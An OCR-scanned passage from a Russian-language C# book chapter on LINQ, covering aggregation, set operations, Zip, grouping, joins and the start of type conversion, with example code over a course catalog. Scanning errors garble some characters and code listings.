поэтому не поддерживающие LINQ объекты ча- сто выдают элементы в известном порядке, но реализуют только интер- фейс lEnumerable<T>. Поскольку данные операторы могут быть полезны в таких сценариях, ограничение на их использование носит нестрогий характер. Что немного более удивительно — их также поддерживает тип 515
Глава 10 lQueryable<T>; это, впрочем, согласуется с тем фактом, что многие баз данных поддерживают оператор ТОР (приблизительный аналог опер! тора Таке) даже для неупорядоченных запросов. Как всегда, отдельны провайдеры могут не поддерживать некоторые операции, поэтому в те сценариях, где данные операторы не имеют смысла, они просто выбра сывают исключение. Родственный оператор, DefaultlfEmpty<T>, возвращает всю исхо дную коллекцию, если она не пустая; в противном случае он возврата ет последовательность из одного элемента, содержащего иулеподобно значение по умолчанию для типа Т (то есть null для ссылочного типа, для числовых типов и т. д.). Агрегация Операторы Sum и Average суммируют ^значения всех содержащихс в источнике элементов. Оператор Sum возвращает непосредственно сум му значений, а оператор Average — сумму, разделенную на количеств! элементов. Эти операторы доступны для коллекций, содержащих эле менты числовых типов decimal, double, float, int и long. Существуй также перегрузки, способные работать элементами любого типа в соче тании с лямбда-выражением, которое принимает элемент и возврата ет значение одного из перечисленных числовых типов. Это позволяя создавать код, аналогичный тому, что представлен в листинге 10.39. Ра ботая с коллекцией объектов типа Course, он вычисляет, чему в средня равняется одно из содержащихся в объекте значений, а именно - про должительность курса в часах. Листинг 10.39. Оператор Average с проекцией Console.WriteLine("Средняя продолжительность курса в часах: (0)", Course.Catalog.Average( course => course.Duration.TotalHours)); В LINQ также определены операторы Min и Max. Их допускается при менять к последовательности любого типа, хотя при этом не гарантиру ется успешное завершение операции — используемый вами конкретны провайдер может выдать сообщение об ошибке, если не будет знать, ка сравнивать между собой используемые вами типы. Например, провай дер LINQ to Objects требует, чтобы содержащиеся в последовательно сти объекты реализовывали интерфейс iComparable. 516
LINQ И оператор Min, и оператор Мах обладают перегрузками, которые принимают лямбда-выражение, получающее из источника используе- мый оператором элемент. В листинге 10.40 такая перегрузка применя- ется для нахождения самой недавней даты публикации курса. Г- Листинг 10.40. Оператор Мах с проекцией DateTime m = mathsCourses.Мах(с => c.PublicationDate); Обратите внимание, что данный код не возвращает курс с самой недавней датой публикации; он возвращает дату публикации тако- го курса. Когда требуется выбрать тот объект, у которого конкретное свойство обладает максимальным значением, используется оператор OrderByDescending, а за ним следует оператор First или FirstOrDefault. Провайдер LINQ to Objects определяет специализированные пере- грузки операторов Min и Мах для последовательностей, возвращающих те же числовые типы, с которыми работают операторы Sum и Average (то есть типы decimal, double, float, int и long). Сходные специализированные версии определены и для формы, принимающей лямбда-выражение. Эти перегрузки были определены с целью улучшения производитель- ности путем исключения упаковки. Универсальная форма полагается на интерфейс IComparable, причем получение указывающей назначение ссылки интерфейсного типа всегда требует упаковки этого значения. В случае больших коллекций упаковка каждого отдельного значения на- кладывает существенную дополнительную нагрузку на сборщик мусора. В LINQ также определен оператор Aggregate — обобщающий шаблон, используемый каждым из операторов Min, Max, Sum и Average. Он заклю- чается в получении единственного результата с применением процесса, принимающегснво внимание каждый из содержащихся в источнике эле- ментов. Любой из перечисленных четырех операторов можно реализо- вать с применением Aggregate. В листинге 10.41 выполняется вычисле- ние общей продолжительности всех курсов с помощью оператора Sum; затем это же значение вычисляется с помощью оператора Aggregate. Листинг 10.41. Оператор Sum и эквивалентный код, использующий оператор Aggregate double tl = Course.Catalog.Sum( course => course.Duration.TotalHours); double t2 = Course.Catalog.Aggregate( 0.0, (hours, course) => hours + course.Duration.TotalHours); 517
Глава 10 Агрегация осуществляется путем наращивания переменной, отобра- жающей то, что нам известно обо всех просмотренных к этому момея- ту элементах, и называемой аккумулятором. Тип переменной зависит от того, какие сведения необходимо аккумулировать. В данном случае я просто суммирую все числа и потому использую тип double (посколь- ку свойство TotalHours типа TimeSpan тоже относится к типу double). Изначально у нас нет никаких сведений, поскольку мы еще не про- смотрели ни один элемент. Так как нам необходимо предоставить зна- чение аккумулятора, которое бы соответствовало этой отправной точке, в качестве первого аргумента оператор Aggregate принимает начальна значение аккумулятора. В листинге 10.41 в аккумуляторе сохраняетс|| нарастающий итог, поэтому мы используем начальное значение, ра|> ное 0.0. В качестве второго аргумента передается лямбда-выражение описывающее способ обновления аккумулятора для включения инфо|и мации об одном элементе. Поскольку в данном случае мне нужно по^ считать общую продолжительность курсов, я просто добавляю прода| жительность текущего курса к нарастающему итогу. | После того как оператор Aggregate просмотрит все элементы, да1 ная конкретная перегрузка возвращает непосредственно значение акк мулятора. В нашем случае это будет общая продолжительность курсе в часах. Для вычисления значения аккумулятора не обязательно испольэ вать сложение. Мы можем реализовать оператор Мах, применив тот я процесс, но другую стратегию аккумулирования. При этом вместо к растающего итога переменная, представляющая все, что нам извесп о данных на текущий момент, будет содержать просто максимальное! всех просмотренных значений. В листинге 10.42 представлен код, д лающий примерно то же самое, что и код в листинге 10.40. (Это не то ный эквивалент, поскольку данный код не предпринимает попыток ра познать пустую последовательность. Если источник окажется пустьп оператор Мах выбросит исключение, в то время как этот код просто во вратит дату 0/0/0000.) Листинг 10.42. Реализациаоператора Мах с помощью оператора Aggregate DateTime m = mathsCourses.Aggregate( new DateTime(), (date, c) => date > c.PublicationDate ? date : c.PublicationDate); 518
UNQ Данный пример показывает, что оператор Aggregate не вкладывает какой-либо единственный смысл в переменную для сохранения сведе- ний - способ использования этой переменной зависит от того, какую работу вы хотите выполнить в том или ином случае. Иногда требуется аккумулятор с чуть более сложнойддруктурой, как, например, в листин- ге 10.43, где оператор Aggregate используется для вычисления средней продолжительности курса. Листинг 10.43. Реализация с помощью оператора Aggregate операции вычисления среднего арифметического double average = Course.Catalog.Aggregate( new { TotalHours = 0.0, Count = 0 }, (totals, course) => new { TotalHours = totals.TotalHours + course.Duration.TotalHours, Count = totals.Count + 1 totals => totals.TotalHours / totals.Count); Для вычисления средней продолжительности нам нужно знать две вещи: общую продолжительность и количество элементов. Поэтому в данном примере аккумулятор использует тип, способным содержать два значения, одним из которых будет общая сумма, а вторым — коли- чество элементов. Я применил анонимный тип, но мог бы использовать и тип Tuple<double, int> или даже создать обычный тип с двумя свой- ствами. (На самом деле лучшим вариантом в данном случае была бы пользовательская структура, поскольку она позволила бы избежать вы- деления для аккумулятора нового блока кучи на каждой итерации.) v в листинге 10.43 используется то обстоятельство, что когда 4 « два отдельных метода в одном и том же компоненте создают —Л?*’экземпляры двух структурно идентичных анонимных типов, компилятор генерирует один тип, который применяется для обоих методов. В качестве начального значения используется экземпляр анонимного типа, содержащий переменную типа double с именем TotalHours и переменную типа int с именем Count. Аккумулирующее лямбда-выражение тоже возвращает экземпляр анонимного типа, члены которого относятся к тем же типам, обладают такими же именами и расположены в том же порядке. Компилятор C# считает, что это в действительно- го
Глава 10 сти один и тот же тип, что в данном случае важно, поскольку • оператор Aggregate требует, чтобы лямбда-выражение прини- мало и возвращало экземпляр того типа, к которому относит- ся аккумулятор. Если бы компилятор C# не гарантировал, что те два выражения, возвращающие здесь экземпляры аноним- ного типа, возвратят экземпляр одного и того же типа, мы не могли бы полагаться на то, что данный код откомпилируется? без ошибок. В листинге 10.43 используется другая перегрузка по сравнению! с предыдущим примером. Эта версия оператора принимает дополни-; тельное лямбда-выражение, которое используется для извлечения аккумулятора возвращаемого значения — в данном примере аккумуля-1 тор накапливает информацию, необходимую для выдачи результата, н(| сам не является результатом. Конечно, если все, что вам нужно, это лишь найти сумму, макоц мальное или среднее значение, то использовать оператор Aggregate не стоит — лучше взять операторы, специально предназначенные для вы- полнения этих задач. Они не только проще, но и зачастую эффективнее (Например, LINQ-провайдер для работы с базами данных может был способен сгенерировать запрос, использующий встроенные возмож( ности базы данных по вычислению минимального или максимально, го значения.) Я лишь хотел продемонстрировать ту гибкость, которую обеспечивает оператор Aggregate, на легких для понимания примерах. Однако теперь, когда я это сделал, давайте рассмотрим представленные в листинге 10.44 очень лаконичный пример использования оператора Aggregate, который не является эквивалентом какого-либо из других встроенных операторов. Данный код принимает коллекцию прямоу- гольников и возвращает ограничивающую рамку, содержащую их все. Листинг 10.44. Агрегация ограничивающих рамок public static Rect GetBounds(IEnumerable<Rect> rects) { return rects.Aggregate(Rect.Union); ) Используемая здесь структура Rect определена в пространстве имен System.Windows. Хотя она является частью фреймворка WPF, по сути, это очень простая структура данных, содержащая четыре числа - х. Y, Width (ширина) и Height (высота) — потому при желании ее можно ис- 520
LINQ пользовать и в приложениях, которые не используют фреймворк WPF*. В листинге 10.44 используется статический метод Union типа Rect, при- нимающий два аргумента типа Rect и возвращающий один объект Rect, представляющий собой ограничивающую рамку для двух входных объ- ектов (то есть наименьший возможный прямоугольник, содержащий оба входных прямоугольника). Здесь я использую самую простую перегрузку оператора Aggregate. Она делает то же самое, что и перегрузка из листинга 10.41, но не требу- ет, чтобы я предоставлял начальное значение — в качестве последнего она просто использует первый элемент списка. Код, представленный в листинге 10.45, эквивалентен коду из ли- стинга 10.44, с тем отличием, что выполняемые шаги выражены в нем более явно. Я предоставляю здесь первый в последовательности объект Rect как явное начальное значение, вместе с тем используя метод Skip для агрегации всех элементов, за исключением первого. Кроме того, я не передаю сам метод Union — я записал лямбда-выражение, вызывающее его. Когда используется такое лямбда-выражение, которое просто пере- дает свои аргументы существующему методу, провайдер LINQ to Objects позволяет вместо него передать имя метода; при этом вместо того чтобы проходить через ваше лямбда-выражение, он просто напрямую вызовет целевой метод. (Провайдеры, использующие выражения, не позволяют это сделать, поскольку они требуют лямбда-выражение.) Применение метода напрямую делает код более лаконичным и эффективным; в то же время он становится не столь ясным, и именно потому я привожу его подробную версию в листинге 10.45. Листинг 10.45. Более многословная и более ясная агрегация ограничивающих рамок public static Rect GetBounds(IEnumerable<Rect> rects) 1 IEnumerable<Rect> theRest = rects.Skip(1); return theRest.Aggregate(rects.First(), (rl, r2) => Rect.Union(rl, r2)); ) * Если вы решите так поступить, не перепутайте данный тип с еще одним типом из фреймворка WPF — Rectangle. Это намного более сложный тип, который поддерживает анимацию, стили, компоновку, пользовательский ввод, привязку данных и ряд других возможностей фреймворка. Применять тип Rectangle за пределами WPF-приложения не стоит. 521
Глава 10 Эти два примера работают одинаково. Начинают они с того, что при нимают первый прямоугольник в качестве начального значения. Дл1 следующего элемента списка оператор Aggregate вызывает метод Recti Union, передавая ему начальное значение и второй прямоугольник. Pel зультат — ограничивающая рамка, содержащая первые два прямоуголы ника, — становится новым значением аккумулятора. Затем это значени передается методу Union вместе с третьим прямоугольником, и т. д. Ли стинг 10.46 демонстрирует, каким оказался бы результат данной опера| ции Aggregate, если б мы применили ее к коллекции из четырех об1Л ектов Rect. (Четыре объекта обозначены здесь как rl, г2, гЗ и г4. ЧтобЯ их можно было передать оператору Aggregate, они должны находиться внутри коллекции, например, массива.) j Листинг 10.46. Результат применения оператора Aggregate Rect bounds = Rect.Union( / j Rect.Union(Rect.Union(rl, r2), r3), r4); \ Как я уже упоминал ранее, Aggregate — это используемое в LINd имя для операции, иногда называемой сокращением {англ, reduce). Имя Aggregate применяется по той же причине, по какой для оператора проч екции — имя Select, вместо более распространенного в функциональны! языках программирования слова «отображение» {англ, тар): на термин нологию языка LINQ большее влияние оказал SQL, нежели какой-либо из академических языков программирования. 1 i <1 Операции над множествами i В LINQ определены три оператора, которые объединяют два источ ника, используя распространенные операции работы с множествам! Оператор Intersect выдает результат, содержащий только те элемента которые присутствуют сразу в обоих источниках. Оператор Except, нао борот, включает в результат только элементы, присутствующие в одно! источнике и отсутствующие в другом. Оператор Union включает в ре зультат элементы, которые есть в одном или в обоих источниках. Несмотря на то что в LINQ определены эти операции работы с мно жествами, большинство типов источника в LINQ не являются точно абстракцией множества. В случае математического множества любо конкретный элемент либо-лринадлежит ему, либо нет; при этом не су ществует никакой концепции количества вхождений в множеств конкретного элемента. Тип lEnumerable<T> не соответствует данном 522
UNQ описанию — он представляет собой последовательность элементов, которая может содержать дубликаты; и то же самое справедливо для типа IQueryable<T>. Это не обязательно проблема, поскольку зачастую коллекции никогда не попадают в ситуацию, где бы они содержали ду- бликаты, а в некоторых случаях не является проблемой и наличие ду- бликатов. Тем не менее иногда бывает полезно удалить из коллекции дубликаты и тем самым добиться большего сходства с множеством. Для этого в LINQ определен оператор Distinct. В листинге 10.47 запрос из- влекает название категории каждого курса, после чего передает эти на- звания оператору Distinct, чтобы гарантировать, что каждое название категории будет встречаться в коллекции только один раз. Листинг 10.47. Удаление дубликатов с помощью оператора Distinct var categories = Course.Catalog.Select ( c => c.Category).Distinct(); Все операторы для работы с множествами доступны в двух фор- мах, поскольку они могут принимать опциональный аргумент типа IEqualityComparer<T>. Это позволяет вносить изменения в способ опре- деления оператором равенства двух элементов. , Операции над всей последовательностью с сохранением порядка В LINQ определен ряд операторов, которые включают в результат все элементы из источника, сохраняя порядок их следования или меняя его на обратный. Поскольку не все коллекции обладают каким-либо по- рядком, данные операторы доступны не всегда. Однако провайдер LINQ to Objects поддерживает их. Самым простым из них является оператор Reverse, который меняет порядок элементов на обратный. Оператор Concat объединяет две последовательности, возвращая последовательность, выдающую все элементы из первой (в исходном порядке), а затем — все элементы из второй (опять же, сохраняя по- рядок). Оператор Zip тоже объединяет две последовательности, но вместо того чтобы возвращать сначала элементы первой, а затем второй, он ра- ботает с парами элементов. При этом первый возвращаемый элемент получается на основе первого элемента первой последовательности и первого элемента второй; второй возвращаемый элемент — на основе 523
Глава 10 вторых элементов обеих последовательностей и т. д. Имя Zip выбрано из-за сходства этой операции с тем, как соединяются между собой две половины застежки-молнии {англ, zipper). (Данная аналогия является не совсем точной. Оператор Zip не чередует элементы из двух источни- ков, подобно зубцам молнии; он извлекает их из двух источников вме- сте, парами.) В отличие от операторов Reverse и Concat, которые просто переда- ют элементы, не внося в них изменений, оператор Zip работает с пара- ми элементов; при этом необходимо указать, какой способ объединения элементов вы хотели бы использовать. Потому данный оператор прини- мает лямбда-выражение с двумя аргументами, передает ему в качестве аргументов пары элементов из двух источников, после чего возвращает то, что лямбда-выражение возвращает в качестве результирующих эле- ментов. Выражение, используемое в листинге 10.48, объединяет каждую пару элементов, применяя операцию конкатенации строк. Листинг 10.48. Объединение списков с помощью оператора zip string!] firstNames = { ”Ян", "Артур", "Артур" }; string[] lastNames = { "Гриффитс", "Дент", "Пьюти" }; IEnumerable<string> fullNames = firstNames.Zip(lastNames, (first, last) => first + " " + last); foreach (string name in fullNames) { Console.WriteLine(name); } В данном примере выполняется объединение списков с именами и фамилиями. Вот как выглядит результат: Ян Гриффитс Артур Дент Артур Пьюти Если источники содержат разное количество элементов, оператор Zip остановится, дойдя до конца более короткой коллекции и не пыта- ясь извлечь оставшиеся элементы более длинной коллекции. Оператор SequenceEqual сходен с Zip в том, что обрабатывает две по- следовательности, работая с расположенными в них в одной и той ж позиции парами элементов. 42днако вместо того чтобы передавать их лямбда-выражению для объединения, данный оператор просто сравни- 524
UNQ вает каждую пару. Если процесс сравнения выявляет, что оба источника содержат одинаковое количество элементов, и что в каждой паре эле- менты равны между собой, оператор SequenceEqual возвращает значение true. Если источники обладают разной длиной, или не равны между собой элементы хотя бы в одной.п^ре, он возвращает значение false. У данного оператора есть две перегрузки. Одна из них принимает толь- ко список, с которым нужно сравнить источник; вторая дополнительно принимает объект типа IEqualityComparer<T>, позволяющий настроить логику определения равенства элементов. Группировка Иногда бывает необходимо не только отсортировать элементы в определенном порядке, но и сделать что-либо еще, например, обрабо- тать все элементы, которые имеют между собой что-то общее, как груп- пу. В листинге 10.49 запрос группирует курсы по категориям, выводя на- звание каждой перед списком всех относящихся к ней курсов. Листинг 10.49. Выражение запроса, выполняющее группировку var subjectGroups = from course in Course.Catalog group course by course.Category; foreach (var group in subjectGroups) * { Console.WriteLine("Категория: " + group.Key); Console.WriteLine () ; foreach (var course in group) ( Console^WriteLine(course.Title); } Console.WriteLine (); Выражение group принимает выражение, устанавливающее принад- лежность к группе, — в данном случае в одну группу включаются все кур- сы, у которых свойство Category возвращает одинаковое значение. В ка- честве результата выражение group выдает коллекцию, в которой каждый элемент реализует интерфейс IGroupingcTKey, TItem>, где ТКеу — тип группирующего выражения, a Tl tem — тип входных элементов. (Посколь- ку в листинге 10.49 я использую провайдер LINQ to Objects и группи- рую по категории string, переменная subjectGroup будет принадлежать 525
Глава 10 । ---------------------------------------------------------------------1 к типу IEnumerable<IGrouping<string, Course».) Данный пример выдает три объема группы, которые изображены на рис. 10.1. Рис. 10.1. Результат выполнения группирующего запроса Каждый из элементов IGrouping<string, Course> обладает свой- ством Key (англ, ключ), и, поскольку запрос сгруппировал элементы п( свойству Category курсов, каждый ключ содержит строковое значенш из этого свойства. Каталог курсов из листинга 10.17 содержит курсы относящиеся к одной из трех категорий: MAT, ВЮ и CSE, потому названш этих категорий становятся значениями свойства Key для трех групп. Интерфейс IGrouping<TKey, TItem> наследует от интерфейс! IEnumerable<TItem>, поэтому каждый объект группы поддерживает пе 526
LINQ речисление с целью поиска содержащихся в нем элементов. Так, в ли- стинге 10.49 внешний цикл foreach обходит те три группы, которые возвращает запрос, а внутренний цикл foreach обходит объекты Course в каждой из них. Выражение запроса при этом преобразуется в код, показанный в ли- стинге 10.50. Листинг 10.50. Простой группирующий запрос в развернутом виде var subjectGroups = Course.Catalog.GroupBy( course => course.Category); Выражения запросов предлагают несколько вариантов выполнения группировки. Внеся небольшое изменение в исходный запрос, мы мо- жем сделать так, чтобы элементы каждой группы представляли собой что-то иное, нежели исходные объекты Course. В листинге 10.51 я пере- писал выражение, стоящее непосредственно за ключевым словом group, заменив course на course.Title. Листинг 10.51. Группирующий запрос с проекцией элементов ч var subjectGroups = from course in Course.Catalog group course.Title by course.Category; Поскольку данный запрос использует то же группирующее выраже- ние, course.Category, мы по-прежнему получим три группы, но на этот раз они будут относиться к типу IGrouping<string, string>. Если мы выполним ите^цию по содержимому групп, то обнаружим, что каждая группа предлагает последовательность строк, представляющих собой названия курсов. Как показывает листинг 10.52, компилятор преобразу- ет данный запрос в другую перегрузку оператора GroupBy. Листинг 10.52. Группирующий запрос с проекцией элементов в развернутом виде var subjectGroups = from course in Course.Catalog group course.Title by course.Category; Выражение запроса должно содержать либо выражение select, либо выражение group. В отличие от select, выражение group при этом не обязательно стоит последним. В листинге 10.51 я внес изменения в спо- соб представления запросом каждого элемента внутри группы (что на рис. 10.1 соответствует прямоугольникам, расположенным справа), однако я могу свободно модифицировать и объекты, представляющие 527
Глава 10 каждую группу (что соответствует прямоугольникам, расположенным слева). По умолчанию я получаю объекты IGrouping<TKey, TItem>, но могу получить и другие. В листинге 10.53 я включил в выражение group опциональное ключевое слово into. Оно вводит дополнительную пере- менную диапазона, которая выполняет итерацию по объектам групп и которую я могу использовать в остальной части запроса. После вы- ражения group могло бы стоять выражение другого типа, например, orderby или where, однако в данном случае я решил применить выраже- ние select. Листинг 10.53. Группирующий запрос с проекцией группы var subjectGroups = from course in Course.Catalog group course by course.Category into category select string.Format( "Курсы в категории ’{0}’:{1}"г * category.Key, category.Count()); В качестве результата данный запрос выдает объект типа IEnumerable<string>, и если мы выведем все содержащиеся в этом объ- екте строки, то увидим следующее: Курсы в^категории 'МАТ': 3 Курсы в категории 'BI0': 2 Курсы в категории 'CSE': 1 Как показывает листинг 10.54, компилятор преобразует данный за- прос в ту же перегрузку оператора GroupBy, что и в листинге 10.50, за которой следует представляющий последнее выражение обычный опе- ратор Select. Листинг 10.54. Группирующий запрос с проекцией группы в развернутом виде IEnumerable<string> subjectGroups = Course.Catalog .GroupBy(course => course.Category) .Select(category => string.Format( "Курсы в категории '{0}': {1}", category.Key, category.Count())); i В LINQ определены еще несколько перегрузок оператора GroupBy, которые недоступны из синтаксиса запроса. В листинге 10.55 представ- лена перегрузка, позволяющая записать несколько более прямой экви- валент примера 10.53. 528
LINQ Листинг 10.55. Оператор GroupBy с проекциями ключа и группы IEnumerable<string> subjectGroups = Course.Catalog.GroupBy( course => course.Category, (category, courses) => string.Format^—- "Курсы в категории '{0}': {1}", category, courses.Count ())); Данная перегрузка принимает два лямбда-выражения. По первому из них группируются элементы, второе используется для генерирова- ния каждого объекта группы. В отличие от предыдущих примеров, здесь не применяется интерфейс IGroupingcTKey, TItem>. Вместо этого последнее лямбда-выражение принимает ключ в каче- стве первого аргумента и коллекцию элементов группы в качестве второ- го. Ровно ту же информацию инкапсулирует интерфейс IGroupingcTKey, TItem>, но, поскольку данная форма оператора позволяет передавать ее в виде отдельных аргументов, отпадает необходимость в объектах, пред- ставляющих группы. Еще одна версия оператора GroupBy показана в листинге 10.56. Эта версия сочетает в себе функциональность всех других разновидностей оператора. ч Листинг 10.56. Оператор GroupBy с проекциями ключа, элементов и группы IEnumerable<string> subjectGroups = Course.Catalog.GroupBy( course => course.Category, course => course.Title, (category, titles) => string.Format( "Курсы в категории '{0}': {1}, в том числе: {2}", category, titles.Count(), string.Join(", ", titles))); Данная перегрузка принимает три лямбда-выражения. По первому из них группируются элементы. Второе определяет способ представле- ния отдельных элементов в группе — на этот раз я решил извлечь назва- ние курса. Третье лямбда-выражение используется для генерирования каждого объекта группы; как и в листинге 10.55, оно принимает ключ в качестве первого и элементы группы в качестве второго аргумента по- сле их преобразования вторым лямбда-выражением. Таким образом, вместо коллекции исходных элементов Course второй аргумент будет представлять собой объект типа IEnumerable<string>, содержащий на- звания курсов, поскольку именно это запрашивает в приведенном при- мере второе лямбда-выражение. В качестве результата данный оператор 529
Глава 10 GroupBy снова выдает коллекцию строк, но теперь она выглядит следу! щим образом: Курсы в категории ’МАТ’: 3, в том числе: Основы геометрии, Квадратура круга, Гиперболическая геометрия Курсы в категории ’BI0’: 2, в том числе: Восстановительная трансплантация органов, Введение в анатомию и физиологию человека Курсы в категории 'CSE': 1, в том числе: Упрощенные структуры данных для демо-версии > Итак, мы рассмотрели четыре версии оператора GroupBy. Каждз из четырех версий принимает лямбда-выражение, выбирающее клю группировки, и самая простая перегрузка не принимает ничего больш Остальные версии позволяют контролировать способ представления а дельных элементов в группе, способ представления каждой группы, ил и то, и другое. Существуют еще четыре версии этого оператора. Они npej лагают все те же возможности, что и рассмотренные выше четыре пер грузки, но, помимо этого, принимают объект типа IEqualityComparer<Ti позволяющий настроить логику определения равенства ключей при вы полнении группировки. Иногда бывает полезно выполнить группировку сразу по неско.и ким значениям. Допустим, что вам нужно сгруппировать курсы однс временно по категории и году публикации. Для этого можно было 61 использовать цепочку операторов, сгруппировав сначала по категорш а затем по году внутри категории (или наоборот). Однако, возможж вы захотите избежать такой вложенности — предположим, вам нуя но сгруппировать курсы по каждой уникальной комбинации значени свойств Category и PublicationDate. Year. Для этого нужно просто по местить оба свойства в ключ, что можно сделать с помощью анонимноп типа, как показано в листинге 10.57. Листинг 10.57. Составной ключ группировки var bySubjectAndYear = from course in Course.Catalog group course by new { course.Category, course.PublicationDate.Year }; foreach (var group in bySubjectAndYear) { Console.WriteLine("{0} ({1})", group.Key.Category, group.Key.Year); 530
foreach (var course in group) ( Console.WriteLine(course.Title!; 1 ) Данный код полагается на тот факт, что анонимные типы реализуют за нас методы Equals и GetHashCode; его можно использовать для любой формы оператора GroupBy. Существует еще один оператор, который группирует свои результа- ты, - GroupJoin, однако он это делает как часть операции объединения. Объединение данных , В LINQ определен оператор Join, позволяющий запросу использо- вать связанные данные из некоторого источника во многом так же, как запрос базы данных объединяет информацию из двух таблиц. Предпо- ложим, что наше приложение формирует список с данными о том, какие студенты записались на посещение каких курсов. Если эта информация будет сохраняться в файле, мы не захотим копировать в каждую строку все данные о курсе или о студенте — мы будем сохранять лишь те сведения, которых будет достаточно для иден- тификации студента и конкретного курса. В нашем каталоге курсы уникальным образом идентифицируются комбинацией категории и номера. Таким образом, чтобы зафиксировать, кто на какой курс подписался, нам потребуются записи, содержащие три фрагмента данных: категорию курса, номер курса и что-то, идентифици- рующее студента. Показанный в листинге 10.58 класс демонстрирует, как такая запись могла бы быть представлена в памяти. Листинг 10.58. Класс, устанавливающий связь между студентом и курсом public class CourseChoice { public int StudentId { get; set; } public string Category { get; set; } public int Number { get; set; } I 531
Глава 10 После того как наше приложение загрузит эту информацию в па мять, может возникнуть необходимость в доступе к объектам Course, а и только к информации, идентифицирующей курс. Этого можно добитьа с помощью выражения join, как показано в листинге 10.59. (Чтобы за просу было с чем работать, код также предоставляет некоторые допол нительные данные, используя класс Coursechoice.) Листинг 10.59. Запрос с выражением join CourseChoice[] choices = { new CourseChoice { Number = 101 }, Studentld = 1, Category = "MAT", new CourseChoice { Studentld = 1, Category = "MAT", Number = 102 }, new CourseChoice { Studentld = 1, Category = "MAT", Number = 207 ), / new CourseChoice { Studentld = 2, Category = "MAT", Number =101 ), new CourseChoice { Studentld = 2, Category = "BIO", Number = 201 }, }; var studentsAndCourses = from choice in choices join course in Course.Catalog on new ( choice.Category, choice.Number } equals new ( course.Category, course.Number } select new { choice.Studentld, Course = course }; foreach (var item in studentsAndCourses) { Console.WriteLine("Студент {0} будет посещать {1}", item.Studentld, item.Course.Title); } Данный код выводит по одной строке для каждой записи в массив choices. Он выводит название каждого курса, поскольку, несмотря на т что этой информации нет во входной коллекции, выражение join нахо дит соответствующий элемент в каталоге курсов. Листинг 10.60 показы вает, как запрос из листинга*! 0.59 интерпретируется компилятором. 532
UNQ Листинг 10.60. Использование оператора Join напрямую var studentsAndCourses = choices.Join( Course. Catalog, choice => new { choice.Category, choice.Number course => new { course.Category, course.Number }, (choice, course) => new { choice.Studentld, Course = course }) ; Задача оператора Join состоит в том, чтобы найти во второй после- довательности элемент, соответствующий элементу в первой последо- вательности. Это соответствие устанавливается с помощью первых двух лямбда-выражений; элементы из двух источников считаются соответ- ствующими друг другу, если два лямбда-выражения возвращают одина- ковые значения. Данный код использует анонимный тип и полагается на тот факт, что два структурно идентичных экземпляра анонимных ти- пов в одной и той же сборке будут совместно использовать один и тот же тип. Иными словами, применяемые здесь два лямбда-выражения выдают объекты одного и того же типа. Для любого анонимного типа компилятор генерирует метод Equals, который по очереди сравнивает важдый член типа; данный код считает две строки соответствующими Друг другу, если у них равны значения свойств Category и Number. Я настроил данный пример таким образом, чтобы у нас было толь- ко одно совпадение, однако зададимся вопросом: что произошло бы в том случае, если по какой-либо причине категория и номер курса не вдентифицировали бы курс уникальным образом? При обнаружении «скольких совпадений с одной входной строкой оператор Join выдает по одному выходному элементу для каждого совпадения; таким обра- зом, в данном случае мы бы получили больше выходных элементов, чем содержится записей в массиве choices. И наоборот, если для элемента в первой коллекции не будет найден соответствующий элемент во вто- рой, оператор Join не выдаст никакого результата для этого элемента, фактически проигнорировав его. В LINQ существует и другой тип объединения, при использовании которого входные строки без совпадений или с несколькими совпаде- ииями обрабатываются не так, как при применении оператора Join. Листинг 10.61 демонстрирует модифицированную версию запроса. (Отличие состоит в том, что в конце выражения join было добавлено выражение into courses, и, соответственно, заключительное выражение select ссылается не на переменную course, а на переменную courses.) 533
Глава 10 Поскольку теперь запрос выдает результаты в иной форме, я также мо- дифицировал код для вывода результатов. Листинг 10.61. Объединение с группировкой var studentsAndCourses = from choice in choices join course in Course.Catalog on new { choice.Category, choice.Number } equals new ( course.Category, course.Number } into courses select new { choice.Studentld, Courses = courses }; foreach (var item in studentsAndCourses) / { Console.WriteLine("Студент {0} будет посещать {1}", item.Studentld, string.Join(",", item.Courses.Select( course => course.Title))); } Как показывает листинг 10.62, данный код заставляет компилятор вместо оператора Join вызвать оператор GroupJoin. Листинг 10.62. Оператор GroupJoin var studentsAndCourses = choices.GroupJoin( Course.Catalog, choice => new { choice.Category, choice.Number }, course => new ( course.Category, course.Number ), (choice, courses) => new { choice.Studentld, Courses = courses }); Данный оператор выдает по одному результату для каждого элемен- та во входной коллекции, вызывая последнее лямбда-выражение. В ка- честве первого аргумента это выражение принимает входной элемент, а в качестве второго — коллекцию из всех соответствующих объектов из второй коллекции. (Сравните с поведением оператора Join, вызы- вающего последнее лямбда-выражение по одному разу для каждого со- впадения, передавая соответствующие элементы по одному.) Это дает возможность представить входной элемент, у которого нет соответству- ющих элементов во второй коллекции: оператор GroupJoin способен просто передать пустую коллекцию. 534
UNQ И Join, и GroupJoin также обладают перегрузками, которые прини- мают объект типа IEqualityComparer<T>, позволяющий задать пользова- тельский способ определения равенства для значений, возвращаемых первыми двумя лямбда-выражениями. Преобразование Иногда бывает необходимо преобразовать запрос одного типа в не- который другой тип. Например, запрос может выдавать коллекцию, где аргумент типа специфицирует некоторый базовый тип (например, тип object), когда есть веские основания полагать, что в действительности эта коллекция содержит элементы более специализированного типа (например, типа Course). Если речь идет об отдельных объектах, можно просто использовать существующий в C# синтаксис приведения тицов и преобразовать ссылку в тот тип, с которым, как вы полагаете, вы имее- те дело. К сожалению, этот способ нельзя использовать для таких типов, как IEnumerable<T> или IQueryable<T>. Хотя ковариантность означает, что ссылка типа lEnumerable<Course> может быть неявно преобразована в ссылку типа IEnumerable<object>, выполнить преобразование в обратном направлении не получится даже путем явного нисходящего приведения типов. Если у вас есть ссылка типа IEnumerable<object>, то попытка привести ее к типу IEnumerable<Course> будет иметь успех только в том случае, если объект реализует интерфейс IEnumerable<Course>. Однако запрос вполне может выдать коллекцию, целиком состоящуюь из объектов типа Course, но в то же время не будет реализовывать интерфейс IEnumerable<Course>. Как раз такая последо- вательность создается в листинге 10.63; при попытке привести ее к типу IEnumerable<Course> будет выброшено исключение. Листинг 10.63. Как не следует выполнять приведение типа последовательности IEnumerable<object> sequence = Course.Catalog.Select( c => (object) c); var coursesequence = (IEnumerable<Course>) sequence; // Исключение InvalidCastException. Конечно, это слегка натянутый пример. Я заставляю запрос выдать объект типа IEnumerable<object>, выполнив приведение типа, возвращае- мого лямбда-выражением оператора Select, к типу obj ect. Однако с такой ситуацией можно легко столкнуться и в реальном коде в чуть более слож- 535
